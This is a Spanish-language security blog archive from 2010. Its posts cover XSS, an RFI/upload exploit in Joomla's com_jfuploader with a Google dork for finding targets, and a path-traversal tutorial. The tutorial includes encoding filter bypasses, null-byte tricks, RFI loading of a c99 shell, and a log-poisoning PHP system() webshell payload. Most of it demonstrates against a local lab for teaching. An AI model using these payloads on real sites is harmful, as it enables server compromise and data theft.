Se trata de una vulnerabilidad capaz de causar un impacto considerable y perjudicial sin necesidad de estar presente en un determinado navegador o sistema operativo.

Estas se producen cuando la entrada dada por un usuario es aceptada y no se valida, transmitiéndose al lado del cliente con una codificación incorrecta. Esta situación provoca que se ejecuten secuencias de comandos malintencionados.

Normalmente suele aparecer en las páginas dinámicas que no suelen tener un control exhaustivo sobre sus salidas ni sobre cómo procesan internamente la entrada de datos. Para entenderlo supongamos que un atacante envía el siguiente código malicioso, cuando la víctima haga click sobre el vínculo se abrirá un enlace hacia la dirección apuntada junto con el código contenido entre las etiquetas script.

El resultado podría ser una simple ventana de alerta mostrándote el típico mensaje de "XSS" al que todos les restamos importancia, pero también podría ser una combinación con cualquiera de las técnicas que comentábamos más arriba.

29 oct 2010

Vulnerabilidad RFI en el com_jfuploader de Joomla

en 20:11 | 0 comentarios | Etiquetas: joomla, PFC, vulnerabilidad

Al parecer una nueva vulnerabilidad RFI ha sido descubierta en el componente com_jfupload del CMS Joomla, dicho componente es el encargado de permitirnos la carga remota de ficheros.

Un atacante podría tratar de burlar el sistema e incrustar código malicioso para que fuese interpretado al acceder al recurso desde la parte del servidor.

Un google dorks que funcione y nos arroje resultados válidos podría ser: inurl:option=com_jfuploader

Y los pasos a seguir para llevar a cabo la explotación de la vulnerabilidad:

Regístrate en el sistema.
Comprueba si se puede acceder a la siguiente url: http://xxx/index.php?option=com_jfuploader&Itemid=[Itemid]
Descarga una imagen cualquiera.
Abre la imagen con el Notepad++ y sin tocar nada del código relacionado con esta, inserta a partir de la última línea todo el código PHP que quieras que se ejecute.
Guarda el fichero con la extensión .php.gif
Sube el fichero desde la URL indicada en el paso 2 y accede al recurso desde la siguiente dirección: http://xxx/files/TuNombreDeUsuario/NombreFichero.gif.php

Algunos ejemplos:

Mostramos el /etc/passwd, a través del siguiente código PHP.

Y si no quedas satisfecho, aquí no te devolvemos el dinero, pero te avisamos de que también puedes cargar una shell:

13 oct 2010

Directory Path Traversal

en 16:45 | 0 comentarios | Etiquetas: directory path traversal, local file inclusion, PFC, remote file inclusion

Introducción

El objetivo de un Directory Path Traversal Attack es el de conseguir acceso a ficheros o directorios que se encuentran fuera del directorio web raíz y en los que en condiciones normales un usuario sin privilegios no tendría acceso alguno.

Normalmente una aplicación web tiene restringido el acceso a usuarios no autorizados a la porción del sistema conocia como los directorios "CGI root" o "Web Document Root". Albergando ahí todos los recursos accesibles por el usuario y necesarios para hacer funcional el portal.

Para acceder a ficheros o ejecutar comandos en cualquier parte del sistema un atacante hará uso de secuencias de caracteres especiales, comúnmente conocidas como "dot-dot-slash" o "../".

Esto permitiría a un usuario malintencionado comprometer el sistema y navegar por toda la estructura de directorios de este, ganando el acceso a ficheros del sistema, códigos fuente, y cualquier cosa que se nos ocurra.

Los ataques de DPT suelen venir acompañados de la mano de otras dos conocidas vulnerabilidades:

Local File Inclusion (LFI) Permite la inclusión de ficheros locales donde se encuentre la web vulnerable.
Remote File Inclusion (RFI) A diferencia del LFI, permite la inclusión de ficheros que se encuentran en cualquier otro servidor.

¿Qué implicaciones tiene esta vulnerabilidad?

Cuando hacemos uso de funciones como include(), include_once(), require(), require_once() y no ofrecemos ningún tipo de validación ante posibles valores dados por un usuario, se puede provocar que las peticiones procesadas por el servidor web permitan a un atacante:

Ejecutar código remoto.
Tomar control del equipo vulnerable.

Montando pruebas de caja negra

A la hora de probar si un sistema es vulnerable o no, es recomendable realizar dos tipos de pruebas:

Vectores de enumeración Consiste en una evaluación sistemática de cada vector de ataque.
Técnicas de testing Evaluación metódica de cada técnica de ataque usada para explotar la vulnerabilidad.

Vectores de enumeración

Para determinar qué partes de la aplicación son vulnerables, el atacante necesita comprobar todas las vías que acepten datos del usuario. Esto abarca desde consultas HTTP, GET, POST hasta formularios para subidas de ficheros. Algunas cuestiones que pueden ayudar a asentarnos en esta fase:

¿Se usan parámetros relacionados con peticiones a ficheros?
¿Se usan extensiones de ficheros poco usuales?
¿Hay nombre de variables poco normales?

Ejemplos:

http://localhost/lab/perfil.php?fichero=0xroot.html
http://localhost/lab/index.php?fichero=passwd
http://localhost/lab/main.cgi?home=index.html

Técnicas de testing

El siguiente objetivo es analizar las funciones de validación para los datos de entrada en la aplicación web. Tomando como ejemplo el código anterior, nuestra página dinámica dpt-example1.php, carga un contenido estático a través de un fichero. Un atacante puede aprovechar esto para insertar una cadena como "../../../etc/passwd" y volcar el contenido del fichero de claves de un sistema Unix.

Para conseguir explotar esta vulnerabilidad con éxito, el atacante necesita conocer la arquitectura del sistema que alberga la aplicación web, de nada sirve intentar cargar el fichero /etc/passwd si nos encontramos bajo un IIS Server en una plataforma Windows.

En determinadas ocasiones un atacante necesita hacer frente a filtros impuestos por el usuario programador para evitar la carga de ficheros con acceso restringido (lo que comentábamos de usar "../" o el byte nulo que veremos más adelante). Al usar cada sistema operativo un caracter separador diferente es importante conocer cómo trabaja a nivel interno cada uno.

Sistemas Unix

Directorio raíz

Carácter Separador

Sistemas Windows

Directorio raíz

Carácter Separado

Operadores mayor y menor que

Comillas dobles

Ejemplos:

fichero.txt
fichero.txt...
fichero.txt
fichero.txt""""
fichero.txt<<<><><><
fichero.txt/./././

A veces podemos encontrarnos con la necesidad de saltarnos filtros restrictivos, para ello podemos utilizar la codificación URL-Encode:

%2e%2e%2 representa ../
%2e%2e/ representa ../
..%2f representa ../
%2e%2e%5c representa ..\
%2e%2e\ representa ..\
..%5c representa ..\
%252e%252e%255c representa ..\
..%255c representa ..\

Otras codificaciones que podemos usar son UTF-8 o incluso la representación hexadecimal de los caracteres.

El entorno de pruebas

Para demostrar lo nocivo que puede llegar a ser este tipo de vulnerabilidad vamos a montarnos un entorno de pruebas en un sistema real. Nuestro laboratorio va a componerse de los siguientes ficheros:

dpt-example1.php [Pastebin]
dpt-example2.php [Pastebin]
dpt-example3.php [Pastebin]
index.php [Pastebin]

Si hacemos una llamada sin pasar ningún argumento a "recurso" la URL introducida sería:

http://localhost/lab/dpt-example1.php

Obteniendo el mensaje de "No se ha especificado el recurso". Pero qué sucedería si decidimos hacer la llamada al fichero index.php:

http://localhost/lab/dpt-example1.php?recurso=index.php

Obtenemos el mensaje esperado. Pero puede darse el caso de que el usuario que anda navegando por nuestra página web, sea un poco más perspicaz y quiera cargar el fichero /etc/passwd. Si observamos el código de nuestra aplicación vulnerable, nosotros no hemos realizado ningún tipo de validación previa a los valores que introduzca el usuario. Si cargamos:

http://localhost/lab/dpt-example1.php?recurso=/etc/passwd

Lo que obtenemos es:

Otra opción sería cargar una shell remota y ejecutar una vulnerabilidad de tipo RFI:

http://localhost/lab/directory-path-traversal.php?recurso=http://127.0.0.1/lab/shells/c99.txt%00

Usando el byte NULL

El byte NULL es un byte especial utilizado por nuestro equipo y es el equivalente a la representación binaria de 0000 0000 en hexadecimal 0x00. El uso de este carácter especial es cómo terminador de cadenas. Supongamos que tenemos el siguiente código (dpt-example3.php)

Si nosotros tratamos de abrir el fichero index.php lo haremos a través de la URL:

http://localhost/lab/dpt-example3.php?recurso=index

Automáticamente nuestro código concatenará al valor pasado el string ".php", esto nos supone un problema si quieremos abrir el fichero "/etc/passwd" o alguno otro similar porque obtendremos el siguiente error:

Warning: require(/etc/passwd.php) [function.require]: failed to open stream: No existe el fichero Ã³ directorio in /opt/lampp/htdocs/lab/directory-path-traversal.php on line 3

Fatal error: require() [function.require]: Failed opening required '/etc/passwd.php' (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/lab/dpt-example3.php on line 3

El problema viene debido a que no encuentra en el sistema un fichero llamado "/etc/passwd.php", para saltarnos esta restricción haremos que todos los datos que introduzcamos lleven al final el carácter especial %00, así para
cargar el fichero /etc/passwd la URL quedará de la siguiente manera:

http://localhost/lab/dpt-example3.php?recurso=/etc/passwd%00

Con lo que obtendremos:

Log Poisoning

La técnica de Log Poisoning nos permite inyectar código en un fichero de log y ejecutarlo normalmente vía LFI. En nuestro caso suponemos que hemos instalado un servidor web bajo Apache, y por defecto tenemos dos ficheros de registros llamados access_log y error_log. Si conseguimos manipular su contenido e incluir código PHP, podremos ejecutar llamadas a funciones que nos permitan obtener control del equipo.

Antes de nada, veamos una breve recopilación de estos ficheros de log, para saber dónde podemos encontrarlos:

/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/opt/lampp/logs/access_log
/opt/lampp/logs/error_log
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/thttpd_log
C:\Program Files\Apache Group\Apache\logs\access.log
C:\Program Files\Apache Group\Apache\logs\error.log
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
Y un largo etcétera...

Una vez decidido el fichero sobre el que actuaremos, tenemos dos formas posibles de actuar:

Accediendo al fichero error_log

http://localhost/%3C%3FPHP $s=$_GET;@chdir($s['x']);echo@system($s['y'])%3F%3E

%3C%3F

%3F%3E

[Wed Oct 13 17:08:24 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/<

[Wed Oct 13 17:03:51 2010] [error] [client 127.0.0.1] File does not exist: /opt/lampp/htdocs/

http://localhost/lab/dpt-example2.php?recurso=/opt/lampp/logs/error_log%00&x=/&y=ls%20-l

Accediendo al fichero access_log

User Agent Switcher

Live HTTP Header

http://localhost/lab/dpt-example2.php?recurso=

access_log

127.0.0.1 - - [13/Oct/2010:18:21:25 +0200] "GET /lab/directory-path-traversal.php?recurso= HTTP/1.1" 200 556

Si accedemos mediante la siguiente URL:

http://localhost/lab/directory-path-traversal.php?recurso=/opt/lampp/logs/access_log%00

Y ejecutamos el plugin "Live HTTP Headers" observaremos como la cabecera que se envía tiene la siguiente forma:

Nuevamente hemos conseguido inyectar e interpretar código PHP satisfactoriamente y el contenido de nuestro fichero acces_log quedará de la siguiente forma:

127.0.0.1 - - [13/Oct/2010:18:21:25 +0200] "GET /lab/directory-path-traversal.php?recurso= HTTP/1.1" 200 556

127.0.0.1 - - [13/Oct/2010:18:23:10 +0200] "GET /lab/directory-path-traversal.php?recurso=/opt/lampp/logs/access_log%00 HTTP/1.1" 200 320

16 feb 2011

Nuevo dominio

12 feb 2011

Reversing Android.Geinimi.A

10 ene 2011

Principios en ensamblador

Introducción

Prerrequisitos

¿Qué es la ingeniería inversa?

Adentrándonos en ASM

Bits, Bytes, Words DWords

Registros

Las banderas (Flags)

Segmentos (Segments) y desplazamientos (Offsets)

La pila

Operaciones lógicas

Instrucciones

19 dic 2010

Introducción a Format String Attack III

Direct Parameter Access (DPA)

Sobreescribiendo las zonas .DTORS

4 nov 2010

Ofuscando código JavaScript I de III - Introducción

Introducción

Ofuscando

Web Based Malware Kits

Cross Site Scripting (XSS)

29 oct 2010

Vulnerabilidad RFI en el com_jfuploader de Joomla

13 oct 2010

Directory Path Traversal

Introducción

¿Qué implicaciones tiene esta vulnerabilidad?

Montando pruebas de caja negra

Vectores de enumeración

Técnicas de testing

El entorno de pruebas

Usando el byte NULL

Log Poisoning

Patrocinados

Labels

Patrocinados

Archivo